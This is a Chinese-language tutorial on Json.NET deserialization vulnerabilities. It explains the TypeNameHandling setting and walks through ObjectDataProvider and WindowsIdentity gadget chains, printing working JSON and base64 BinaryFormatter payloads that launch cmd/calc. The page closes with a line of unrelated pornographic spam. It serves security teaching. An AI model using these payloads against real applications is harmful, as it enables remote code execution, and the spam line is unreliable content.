網絡信息安全,.net反序列化萌新入門--Json.Net

  • 作者:
  • 時間:2022-05-28 09:32:07
簡介 網絡信息安全,.net反序列化萌新入門--Json.Net

01?Json.net簡介

Json.net即Newtonsoft.Json,是.Net中開源的Json序列化和反序列化工具,官方地址:http://www.newtonsoft.com/json。

它雖然不是官方庫,但憑借其優秀的性能獲得了廣大開發者的喜愛。

官網給出的性能比較:

1653021410_62871ae2b21ddd01ed755.png?1653021417225

02?Json.net的序列化和反序列化

首先定義一個person類,并添加一個execcmd的方法,它調用了Process.Start來執行cmd。

[Serializable]
public?class?Person
{
private?static?int?TAG?=?20;
private?int?_gender;

public?string?Name?{?set;?get;?}
public?int?Age?{?set;?get;?}
public?void?execcmd(string?cmd)
{
Process.Start(cmd);
}
}

初始化并將其序列化輸出:

var?p?=?new?Person()
{
Name?=?"m01n",
Age?=?26
};
Console.WriteLine(JsonConvert.SerializeObject(p));????????

輸出結果如下:

1653022208_62871e0096fa0892803a0.png?1653022215061

但這并不是我們想要的,添加以下代碼:

Console.WriteLine(JsonConvert.SerializeObject(p,?new?JsonSerializerSettings?{?TypeNameAssemblyFormatHandling?=?TypeNameAssemblyFormatHandling.Full,?TypeNameHandling?=?TypeNameHandling.All?}));

輸出:

1653022222_62871e0e3e2a759bf0ada.png?1653022228690

增加了type字段,第二個參數是設置序列化的配置,其中TypeNameHandling是我們需要重點關注的,官網給出了以下五種設置,默認設置為None,除了None之外,都會包含type字段。這也是漏洞產生的關鍵。

1653022239_62871e1f1c49f662732ef.png?1653022245607

03?ObjectDataProvider攻擊向量

在前面的《.NET反序列化利用鏈萌新入門——XmlSerializer》中有介紹過ObjectDataProvider,總結一下就是在實現 ObjectDataProvider對象時,不管是添加ObjectInstance,MethodName還是MethodParameters都會自動嘗試執行目標函數。

Json.net直接序列化ObjectDataProvider實現的System.Diagnostics.Process會報錯,但我們可以看一下ObjectDataProvider對象的Json序列化輸出格式。

1653022271_62871e3f2fa9686195569.png?1653022277694

結果輸出格式化之后如下:

{
"$type":?"System.Windows.Data.ObjectDataProvider,?PresentationFramework,?Version=4.0.0.0,?Culture=neutral,?PublicKeyToken=31bf3856ad364e35",
"ObjectInstance":?{
"$type":?"ConsoleApp1.Program+Person,?jsontest,?Version=1.0.0.0,?Culture=neutral,?PublicKeyToken=null",
"Name":?"m01n",
"Age":?26
},
"MethodName":?"execcmd",
"MethodParameters":?{
"$type":?"MS.Internal.Data.ParameterCollection,?PresentationFramework,?Version=4.0.0.0,?Culture=neutral,?PublicKeyToken=31bf3856ad364e35",
"$values":?["calc"]
},
"IsAsynchronous":?false,
"IsInitialLoadEnabled":?true,
"Data":?null,
"Error":?null
}

對比一下 .\ysoserial.exe -g ObjectDataProvider -f json.net -c calc ?生成的payload結果:

{
'$type':'System.Windows.Data.ObjectDataProvider,?PresentationFramework,?Version=4.0.0.0,?Culture=neutral,?PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList,?mscorlib,?Version=4.0.0.0,?Culture=neutral,?PublicKeyToken=b77a5c561934e089',
'$values':['cmd',?'/c?calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process,?System,?Version=4.0.0.0,?Culture=neutral,?PublicKeyToken=b77a5c561934e089'}
}

首先是去除了一些不必要的字段,然后修改了MethodName為Start,同時將ObjectInstance和MethodParameters的$type分別設置為Process和ArrayList相對應的程序集限定名,當然經測試,MethodParameters的$type不用改也可以成功。

關于程序集限定名,可以通過object.GetType().AssemblyQualifiedName或者typeof().AssemblyQualifiedName獲取。最終成功執行命令。

1653022288_62871e50af6ab6cf83588.png?1653022295526

04?攻擊向量—WindowsIdentity和WindowsClaimsIdentity?

WindowsIdentity

WindowsIdentity是一個表示Windows用戶的類,可以獲取認證用戶的信息。

關于WindowsIdentity的詳細介紹可以看官網:https://docs.microsoft.com/zh-cn/dotnet/api/system.security.principal.windowsidentity?redirectedfrom=MSDN&view=net-6.0

WindowsIdentity繼承自System.Security.Claims.ClaimsIdentity,并且實現了 ISerializable 接口。

1653022309_62871e65502958c54a689.png?1653022316014

跟進去發現ISerializable接口需要實現GetObjectData方法,GetObjectData方法的第一個參數為SerializationInfo類對象。

1653022319_62871e6f17a2e9d54dc8f.png?1653022325530

通過調用SerializationInfo類的AddValue方法可以在序列化對象時存儲備用值,AddValue具有多個重載方法來指定序列化的信息。

1653022351_62871e8fc1851a6f509dc.png?1653022358540

ClaimsIdentity

ClaimsIdentity(聲稱標識)位于 System.Security.Claims 命名空間下。

Claim表示一個聲明單元,它用來組成ClaimsIdentity。ClaimsIdentity表示一個證件,例如身份*證,身份*證上面的名字表示一個Claim,身份*證號也表示一個Claim,所有這些Claim組成身份*證,即ClaimsIdentity。一個人不止有一個能夠表示身份的東西,還有駕駛證、戶口本等等,這些都是一個一個的CLaimsIdentity。

1653022386_62871eb27ec4fbde5b2fb.png?1653022393026

ClaimsIdentity 類初始化方法有兩個重載,并且通過前文介紹的 SerializationInfo 來傳入數據,最后用 Deserialize 反序列化數據。

1653022402_62871ec2f022712596b80.png?1653022409410

跟進Deserialize(),可以看到key設置為System.Security.ClaimsIdentity.actor或者System.Security.ClaimsIdentity.bootstrapContext,base64解碼后會執行后面的binaryFormatter.Deserialize(),此方法已被證明是不安全的。

1653022420_62871ed4eb42ca3a24f82.png?1653022427696

微軟關于binaryFormatter.Deserialize的說明:

1653022438_62871ee69a1a29d6dab68.png?1653022445167

POC

至此我們可以構造出攻擊鏈,如果使用 GetObjectData 類中的 AddValue 方法添加key:System.Security.ClaimsIdentity.bootstrapContext,value : base64編碼后的binaryFormatter.Deserialize的反序列化payload,最后實現 System.Security.Principal.WindowsIdentity.ISerializable 接口就能攻擊成功。

構造如下方法:

1653022456_62871ef8340c0bc75b558.png?1653022462667

傳入binaryFormatter的反序列化payload并使用Json.net將其序列化。

1653022464_62871f00d523d3c9b38f6.png?1653022471653

得到如下結果:

{????"$type": "ConsoleApp1.Program+WindowsIdentityTest, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",????"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm*9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm*9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM*9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm*9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm*9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM*9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm*9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="}

將$type的值改為WindowsIdentity的完全限定名,即可得到完整payload。也可以直接使用ysoserial生成payload:

1653022477_62871f0dac443b5f81ff3.png?1653022484135

ysoserial使用的是System.Security.ClaimsIdentity.actor,測試證明System.Security.ClaimsIdentity.bootstrapContext同樣可以觸發命令執行,但這兩個在觸發命令執行后都會引發異常:

1653022488_62871f184ed74f29fc4a0.png?1653022495202

WindowsClaimsIdentity和WindowsIdentity是相同的原理,因為WindowsClaimsIdentity繼承自WindowsIdentity。

05?總結

使用Json.net的項目,JsonSerializer的TypeNameHandling值只要不為None,即可能存在反序列化漏洞。ObjectDataProvider攻擊向量在.net反序列化中會經常用到。

韩国19禁A片在线播放,色猫咪免费人成网站在线观看,中国最猛性XXXXX,五月天天爽天天狠久久久综合